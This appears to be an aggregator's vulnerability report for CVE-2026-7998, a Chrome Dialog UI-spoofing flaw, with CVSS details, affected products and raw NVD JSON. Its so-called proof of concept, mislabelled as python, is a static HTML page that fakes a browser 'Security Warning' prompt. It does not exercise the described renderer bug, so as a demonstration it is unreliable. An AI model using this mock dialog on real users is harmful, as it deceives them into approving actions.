Security Vulnerability Report
中文
CVE-2026-7998 CVSS 5.4 MEDIUM

CVE-2026-7998

Published: 2026-05-06 19:16:51
Last Modified: 2026-05-07 13:40:01

Description

Insufficient validation of untrusted input in Dialog in Google Chrome prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer process to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 148.0.7778.96

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept: UI Spoofing in Dialog --> <!-- This demonstrates how a crafted page can mimic a trusted dialog --> <html> <head> <style> body { font-family: sans-serif; background-color: #f1f3f4; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; } .spoof-dialog { width: 400px; background: white; border-radius: 8px; box-shadow: 0 4px 12px rgba(0,0,0,0.15); padding: 24px; position: relative; z-index: 9999; } .dialog-header { font-size: 18px; font-weight: 500; margin-bottom: 12px; display: flex; align-items: center; } .icon { width: 24px; height: 24px; margin-right: 12px; background-color: #ffcc00; border-radius: 50%; } .dialog-body { font-size: 14px; color: #5f6368; margin-bottom: 24px; line-height: 1.5; } .dialog-actions { display: flex; justify-content: flex-end; gap: 8px; } button { padding: 8px 16px; border-radius: 4px; border: none; cursor: pointer; font-weight: 500; font-size: 14px; } .btn-cancel { background: transparent; color: #1a73e8; } .btn-allow { background: #1a73e8; color: white; } </style> </head> <body> <div class="spoof-dialog"> <div class="dialog-header"> <div class="icon"></div> <div>Security Warning</div> </div> <div class="dialog-body"> This site is trying to download multiple files. Do you want to allow this? </div> <div class="dialog-actions"> <button class="btn-cancel">Block</button> <button class="btn-allow">Allow</button> </div> </div> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-7998", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:50.720", "lastModified": "2026-05-07T13:40:01.117", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient validation of untrusted input in Dialog in Google Chrome prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer process to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.96", "matchCriteriaId": "5E9416A8-4333-4195-983C-78F521AF6245"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory", "Release Notes"]}, {"url": "https://issues.chromium.org/issues/491676472", "source": "[email protected]", "tags": ["Permissions Required"]}]}}